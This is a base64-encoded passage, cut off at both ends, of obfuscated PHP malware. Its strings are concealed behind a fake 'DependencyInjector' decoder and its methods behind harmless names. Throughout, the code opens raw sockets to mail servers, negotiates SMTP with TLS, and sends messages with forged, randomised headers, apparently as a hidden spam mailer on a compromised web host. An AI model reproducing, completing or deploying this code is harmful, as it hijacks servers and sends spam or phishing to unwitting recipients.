9ICRfamFhIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfcXRsOwogICAgICAgICAgICBpZiAoQGlzX2RpcigkX2hlcCkpIHsKICAgICAgICAgICAgICAgICRfeWUgPSBwcm9jZXNzX3F1ZXVlKCRfeWUsICR0aGlzLT5mZXRjaFN1bW1hcnkoJF9oZXAsICRfZmxoKSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChvYnEoJF9mbGgsICRfcXRsKSkgewogICAgICAgICAgICAgICAgJF95ZVtdID0gJF9oZXA7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICRfeWU7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHJlc29sdmVDb25mbGljdCgkX2l4aCwgJF90aXosICRfY3AsICRfenZpLCAkX2lveCA9IHRydWUpCiAgICB7CiAgICAgICAgJF9jdHIgPSBzdGFydF9zZXJ2aWNlKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaWN2JywgJ19uanonKSwgc2NoZWR1bGVfd29yayhEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX25sJywgJ193cGcnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19pZWInLCAnX3pnYScpLCAkX2l4aCkpOwogICAgICAgICRfc211ID0gYXJyYXkoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19xdnonLCAnX2ZxaycpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2tyaScsICdfZndwJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfa25kJywgJ19oYWcnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19naGYnLCAnX3pybicpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3RhJywgJ19pdXcnKSk7CiAgICAgICAgJF95ZSA9IGFycmF5KCk7CiAgICAgICAgJF9qc3cgPSBhcnJheSgpOwogICAgICAgICRfcmdnID0gYXJyYXkoKTsKICAgICAgICBmb3JlYWNoICgkX2N0ciBhcyAkX2R3cykgewogICAgICAgICAgICAkX2R3cyA9IHJ1bl9wcm9jZWR1cmUoJF9kd3MsIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfemEnLCAnX3plJykpOwogICAgICAgICAgICBpZiAoJF9kd3MgPT09IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaXhjJywgJ19sbicpKSB7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkX29lbSA9IHN0YXJ0X3NlcnZpY2UoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19kcicsICdfcnlxJyksICRfZHdzLCAwMik7CiAgICAgICAgICAgIGlmIChhZ2dyZWdhdGVfcmVzdWx0cygkX29lbSkgPCAwMikgewogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF9rZiA9IGluaXRfc3lzdGVtKHJ1bl9wcm9jZWR1cmUoJF9vZW1bMDBdKSk7CiAgICAgICAgICAgICRfaGEgPSBkZ3coRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19kdXEnLCAnX2lpbicpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3VjZicsICdfenRjJyksIHJ1bl9wcm9jZWR1cmUoJF9vZW1bMDFdKSk7CiAgICAgICAgICAgICRfeHF0ID0gJF9rZiAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdXB2JywgJ19qYScpIC4gJF9oYTsKICAgICAgICAgICAgJF9qc3dbXSA9ICRfeHF0OwogICAgICAgICAgICBpZiAoIWluaXRpYWxpemVfY29tcG9uZW50KCRfa2YsICRfeWUpKSB7CiAgICAgICAgICAgICAgICAkX3llW10gPSAkX2tmOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRfcmdnW10gPSAkX2tmOwogICAgICAgIH0KICAgICAgICBpZiAoJF9pb3gpIHsKICAgICAgICAgICAgaWYgKCFpbml0aWFsaXplX2NvbXBvbmVudChEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2F6aicsICdfZHMnKSwgJF95ZSkpIHsKICAgICAgICAgICAgICAgICRfanN3W10gPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2xocCcsICdfcnd1JykgLiAkdGhpcy0+X3llKCk7CiAgICAgICAgICAgICAgICAkX3JnZ1tdID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ196aHQnLCAnX2pqcycpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghaW5pdGlhbGl6ZV9jb21wb25lbnQoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ190a20nLCAnX3pnJyksICRfeWUpKSB7CiAgICAgICAgICAgICAgICAkX2pzd1tdID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19jZCcsICdfYXFsJykgLiAkdGhpcy0+X2tmeSgkX3p2aSkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3N4JywgJ19qdGInKTsKICAgICAgICAgICAgICAgICRfcmdnW10gPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3ZsbicsICdfaHcnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIWluaXRpYWxpemVfY29tcG9uZW50KERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbWpjJywgJ19lcHYnKSwgJF95ZSkpIHsKICAgICAgICAgICAgICAgICRfanN3W10gPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2xsYicsICdfbnliJykgLiAkX3RpejsKICAgICAgICAgICAgICAgICRfcmdnW10gPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2ZueScsICdfdnl1Jyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCFpbml0aWFsaXplX2NvbXBvbmVudChEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3h6eScsICdfcGUnKSwgJF95ZSkpIHsKICAgICAgICAgICAgICAgICRfanN3W10gPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2t2cCcsICdfdWInKSAuICRfY3A7CiAgICAgICAgICAgICAgICAkX3JnZ1tdID0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19vaicsICdfcWlnJyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJF91a3YgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRfc211IGFzICRfeHMpIHsKICAgICAgICAgICAgaWYgKGluaXRpYWxpemVfY29tcG9uZW50KCRfeHMsICRfcmdnKSkgewogICAgICAgICAgICAgICAgJF91a3ZbXSA9ICRfeHM7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJF9kcGcgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRfanN3IGFzICRfZnFqKSB7CiAgICAgICAgICAgICRfeHMgPSBpbml0X3N5c3RlbShmcmVlX3Jlc291cmNlcygkX2ZxaiwgMDAsIG1vbml0b3JfaGVhbHRoKCRfZnFqLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2xjJywgJ19iZnAnKSkpKTsKICAgICAgICAgICAgaWYgKGluaXRpYWxpemVfY29tcG9uZW50KCRfeHMsICRfdWt2KSkgewogICAgICAgICAgICAgICAgJF9kcGdbXSA9ICR0aGlzLT52YWxpZGF0ZUlucHV0KCRfZnFqKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkX29zdyA9IGhhbmRsZV9lcnJvcihEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2Z0ZicsICdfdGliJyksIHRyaWdnZXJfZXZlbnQoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ190dCcsICdfdmVxJyksICRfdWt2KSk7CiAgICAgICAgJF9qamogPSBoYW5kbGVfZXJyb3IoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ190eHgnLCAnX2FjJyksICRfZHBnKTsKICAgICAgICByZXR1cm4gYXJyYXkoJF9qamosICRfb3N3KTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gdmFsaWRhdGVJbnB1dCgkX2R3cykKICAgIHsKICAgICAgICAkX29lbSA9IHN0YXJ0X3NlcnZpY2UoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19oY2MnLCAnX2xsJyksICRfZHdzLCAwMik7CiAgICAgICAgJF9rZiA9IGluaXRfc3lzdGVtKHJ1bl9wcm9jZWR1cmUoJF9vZW1bMDBdKSk7CiAgICAgICAgJF9oYSA9ICRfb2VtWzAxXTsKICAgICAgICAkX2hhID0gZGd3KERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdHYnLCAnX3lreicpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3BveicsICdfeGRmJyksIHJ1bl9wcm9jZWR1cmUoJF9oYSkpOwogICAgICAgIHJldHVybiAkX2tmIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ192aXcnLCAnX25tZycpIC4gJF9oYTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gbG9nRXZlbnQoJF9kbSkKICAgIHsKICAgICAgICAkX2RtID0gc2NoZWR1bGVfd29yayhEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2hsdScsICdfcGEnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19sYmYnLCAnX3BxJyksICRfZG0pOwogICAgICAgICRfZ2IgPSBzdGFydF9zZXJ2aWNlKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcWduJywgJ19teW0nKSwgJF9kbSk7CiAgICAgICAgJF9lYXkgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRfZ2IgYXMgJF94bXUpIHsKICAgICAgICAgICAgJF94bXUgPSBjaGVja19hY2Nlc3MoJF94bXUsIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaHZkJywgJ19qdnMnKSk7CiAgICAgICAgICAgICRfZWF5W10gPSAkX3htdTsKICAgICAgICB9CiAgICAgICAgd2hpbGUgKGFnZ3JlZ2F0ZV9yZXN1bHRzKCRfZWF5KSA+IDAwICYmIHJ1bl9wcm9jZWR1cmUoZW5kKCRfZWF5KSkgPT09IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZ3EnLCAnX2prJykpIHsKICAgICAgICAgICAgYXJyYXlfcG9wKCRfZWF5KTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIGhhbmRsZV9lcnJvcihEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3NzdicsICdfbHQnKSwgJF9lYXkpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ195a3AnLCAnX253cycpOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBpbml0aWFsaXplTW9kdWxlKCRfaXhoLCAkX3JwcCkKICAgIHsKICAgICAgICByZXR1cm4gJF9ycHAgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2V6JywgJ19xb2cnKSAuICRfaXhoOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBmaWx0ZXJSZXN1bHRzKCRfdGQsICRfY3AsICRfenZpKQogICAgewogICAgICAgICRfb2VtID0gQGV4cGxvZGUoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19kZmknLCAnX3J5JyksICRfdGQpOwogICAgICAgICRfaHggPSAkX29lbVswMV0gIT0gJF96dmk7CiAgICAgICAgJF9qdCA9IGZ1bmN0aW9uX2V4aXN0cyhEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2loeCcsICdfemJuJykpID8gQGdldF9jdXJyZW50X3VzZXIoKSA6ICRfb2VtWzAwXTsKICAgICAgICBpZiAoISRfanQgfHwgaW5pdGlhbGl6ZV9jb21wb25lbnQoJF9qdCwgYXJyYXkoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ194dmUnLCAnX3N0JyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbmJvJywgJ19tY3gnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19rYScsICdfcnpiJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZGthJywgJ19zbGknKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19keHAnLCAnX3h3YScpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2p2aycsICdfZWF6JyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYmx0JywgJ196a3knKSkpKSB7CiAgICAgICAgICAgICRfanQgPSAkX29lbVswMF07CiAgICAgICAgfQogICAgICAgIGlmICghJF9oeCkgewogICAgICAgICAgICAkX2t0ID0gIWVtcHR5KCRfU0VSVkVSW0RlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfeHJ1JywgJ19lbW8nKV0pID8gJF9TRVJWRVJbRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19rYycsICdfYmEnKV0gOiBAZ2V0aG9zdGJ5bmFtZSgkX3p2aSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJF9rdCA9IEBnZXRob3N0YnluYW1lKCRfenZpKTsKICAgICAgICB9CiAgICAgICAgJF9raGMgPSAkdGhpcy0+X294KCRfa3QpOwogICAgICAgIGlmICghJF9raGMpIHsKICAgICAgICAgICAgJF9raGMgPSAkX29lbVswMV07CiAgICAgICAgfQogICAgICAgICRfaXggPSBhcnJheSgpOwogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ194ZWYnLCAnX3hxYScpKSAmJiBmdW5jdGlvbl9leGlzdHMoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19xcHMnLCAnX2ludicpKSkgewogICAgICAgICAgICBAc3JhbmQoQGNyYzMyKCRfb2VtWzAxXSkpOwogICAgICAgIH0KICAgICAgICAkX2l4W10gPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3JidCcsICdfbHknKSAuICRfa2hjIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ190ZXcnLCAnX3RqaScpIC4gJF9raGMgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2ZrJywgJ19kbnAnKSAuICRfa3QgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3hmJywgJ19qdHInKSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYXRtJywgJ19lYWQnKSAuICRfb2VtWzAxXSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcGR3JywgJ19wcCcpIC4gc3RydG91cHBlcigkdGhpcy0+X2d6bCgwMTUpKSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcXRiJywgJ19lY2QnKSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfam9qJywgJ19tdycpIC4gJF9jcCAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfc2FtJywgJ19hYScpIC4gJHRoaXMtPl96aygpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ192bScsICdfdnBrJykgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2h5dScsICdfb3V1JykgLiAkX2toYyAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfeWYnLCAnX2dvZScpIC4gcmFuZCgwMTIsIDAzMDMyMzcpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19ibScsICdfeG8nKSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfa3RxJywgJ19tdmYnKSAuIHN0cnRvdXBwZXIoJHRoaXMtPl9nemwoMDEyKSkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3BzeCcsICdfZHRtJykgLiAkdGhpcy0+X3prKCkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX25qdScsICdfdm1zJyk7CiAgICAgICAgJF9kaSA9ICR0aGlzLT5fdHYoKTsKICAgICAgICAkX2l4W10gPSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2pjcCcsICdfZW5iJykgLiAkX2p0IC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ193bWQnLCAnX3p2bCcpIC4gJF9raGMgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX29jcicsICdfZWV5JykgLiAkX2RpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19yeGgnLCAnX2hreCcpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ190a3knLCAnX21waCcpIC4gJF90ZCAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZmknLCAnX3JuJykgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2htdScsICdfZXRhJykgLiAkdGhpcy0+X2d6bCgwNiwgMDEpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ193d3QnLCAnX2FvdCcpIC4gJHRoaXMtPl9nemwoMDIsIDAyKSAuICR0aGlzLT5fZ3psKDAzLCAwMSkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2ZyeScsICdfcnBmJykgLiAkdGhpcy0+X2d6bCgwMiwgMDEpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19wbGYnLCAnX2V5bCcpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19tb2UnLCAnX2R1dScpIC4gJF9jcCAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYm5kJywgJ196cWYnKSAuICR0aGlzLT5femsoKSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfa3FiJywgJ19qbHAnKTsKICAgICAgICByZXR1cm4gJF9peFtjb2xsZWN0X3N0YXRpc3RpY3MoJF9peCldOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiB0cmFja0FjdGl2aXR5KCRfY2VyLCAkX25wZiwgJF93cSwgJF9yZiA9IDAxMiwgJF9hdnogPSB0cnVlLCAkX2l5ID0gdHJ1ZSkKICAgIHsKICAgICAgICAkX2xpID0gKCRfd3EgPT09IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdHAnLCAnX3VndScpID8gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19kbicsICdfcWtpJykgOiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3RxcycsICdfbnloJykpIC4gJF9jZXIgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2hiZCcsICdfd29wJykgLiAkX25wZjsKICAgICAgICAkX3NvdCA9IGZhbHNlOwogICAgICAgICRfY2hoID0gMDA7CiAgICAgICAgJF9vbCA9IERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcHQnLCAnX2poJyk7CiAgICAgICAgaWYgKCRfYXZ6ICYmIGZ1bmN0aW9uX2V4aXN0cyhEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX29nZCcsICdfenEnKSkpIHsKICAgICAgICAgICAgJF9zb3QgPSBAZnNvY2tvcGVuKCRfY2VyLCAkX25wZiwgJF9jaGgsICRfb2wsICRfcmYpOwogICAgICAgIH0KICAgICAgICBpZiAoJF9peSAmJiAhJF9zb3QgJiYgZnVuY3Rpb25fZXhpc3RzKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfc3doJywgJ19nYWMnKSkpIHsKICAgICAgICAgICAgJF9zb3QgPSBAc3RyZWFtX3NvY2tldF9jbGllbnQoJF9saSwgJF9jaGgsICRfb2wsICRfcmYsIDA0LCAkdGhpcy0+X21pcik7CiAgICAgICAgfQogICAgICAgIGlmICgkX3NvdCkgewogICAgICAgICAgICBAc3RyZWFtX3NldF90aW1lb3V0KCRfc290LCAkX3JmLCAwMCk7CiAgICAgICAgICAgICRfbGduID0gJHRoaXMtPnByb2Nlc3NEYXRhKCRfc290KTsKICAgICAgICAgICAgaWYgKCFvYnEoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19saycsICdfeHRvJyksICRfbGduKSkgewogICAgICAgICAgICAgICAgQGZjbG9zZSgkX3NvdCk7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICRfc290OwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBtYW5hZ2VTdGF0ZSgkX3NvdCwgJF90ZCwgJF9jcCwgJF9ja3osICRfenZpKQogICAgewogICAgICAgICRfcmFpID0gJHRoaXMtPmZldGNoUmVjb3JkcygkX3p2aSk7CiAgICAgICAgQGZwdXRzKCRfc290LCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2V0cicsICdfenInKSAuICRfcmFpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19xeCcsICdfbmxoJykpOwogICAgICAgICRfZHhpID0gJHRoaXMtPnByb2Nlc3NEYXRhKCRfc290KTsKICAgICAgICBpZiAoIW9icShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3RqcScsICdfaGEnKSwgJF9keGkpKSB7CiAgICAgICAgICAgIEBmcHV0cygkX3NvdCwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19vd3YnLCAnX2didScpIC4gJF9yYWkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2lrJywgJ19meCcpKTsKICAgICAgICAgICAgJF9ncncgPSAkdGhpcy0+cHJvY2Vzc0RhdGEoJF9zb3QpOwogICAgICAgICAgICBpZiAoIW9icShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2VnZScsICdfYXYnKSwgJF9ncncpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKHN0cmlwb3MoJF9keGksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZ2d1JywgJ19haXMnKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIEBmcHV0cygkX3NvdCwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19heHAnLCAnX2NjJykpOwogICAgICAgICAgICAkX3RqID0gJHRoaXMtPnByb2Nlc3NEYXRhKCRfc290KTsKICAgICAgICAgICAgaWYgKCFvYnEoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19iaG8nLCAnX3F1ZScpLCAkX3RqKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghQHN0cmVhbV9zb2NrZXRfZW5hYmxlX2NyeXB0bygkX3NvdCwgdHJ1ZSwgMDExKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEBmcHV0cygkX3NvdCwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19xdicsICdfZWFsJykgLiAkX3JhaSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfa3hxJywgJ19ibngnKSk7CiAgICAgICAgICAgICRfZHhpID0gJHRoaXMtPnByb2Nlc3NEYXRhKCRfc290KTsKICAgICAgICAgICAgaWYgKCFvYnEoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ190eGQnLCAnX3htJyksICRfZHhpKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIEBmcHV0cygkX3NvdCwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ196ZHQnLCAnX2RrZicpIC4gJF90ZCAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfampwJywgJ19wcHAnKSk7CiAgICAgICAgJF96cSA9ICR0aGlzLT5wcm9jZXNzRGF0YSgkX3NvdCk7CiAgICAgICAgaWYgKCFvYnEoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19yd3YnLCAnX2pydCcpLCAkX3pxKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIEBmcHV0cygkX3NvdCwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19mcicsICdfeWR2JykgLiAkX2NwIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19odWsnLCAnX2drZycpKTsKICAgICAgICAkX3VwdyA9ICR0aGlzLT5wcm9jZXNzRGF0YSgkX3NvdCk7CiAgICAgICAgaWYgKCFvYnEoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19pa2cnLCAnX2pidicpLCAkX3VwdykpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBAZnB1dHMoJF9zb3QsIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfeG9lJywgJ195eGonKSk7CiAgICAgICAgJF9idSA9ICR0aGlzLT5wcm9jZXNzRGF0YSgkX3NvdCk7CiAgICAgICAgaWYgKCFvYnEoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19qa3QnLCAnX2V3bCcpLCAkX2J1KSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRfZ2IgPSBAZXhwbG9kZShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX21hcScsICdfbnknKSwgJF9ja3opOwogICAgICAgIGZvcmVhY2ggKCRfZ2IgYXMgJF9teSkgewogICAgICAgICAgICBAZnB1dHMoJF9zb3QsIGNoZWNrX2FjY2VzcygkX215LCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2x6YycsICdfdWx1JykpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ194dnknLCAnX3Z4JykpOwogICAgICAgIH0KICAgICAgICAkX2pqaiA9ICR0aGlzLT5wcm9jZXNzRGF0YSgkX3NvdCk7CiAgICAgICAgaWYgKG1vbml0b3JfaGVhbHRoKCRfampqLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2tlYScsICdfbmYnKSkgPT09IDAwKSB7CiAgICAgICAgICAgIEBmcHV0cygkX3NvdCwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19sY2cnLCAnX3FibycpKTsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIH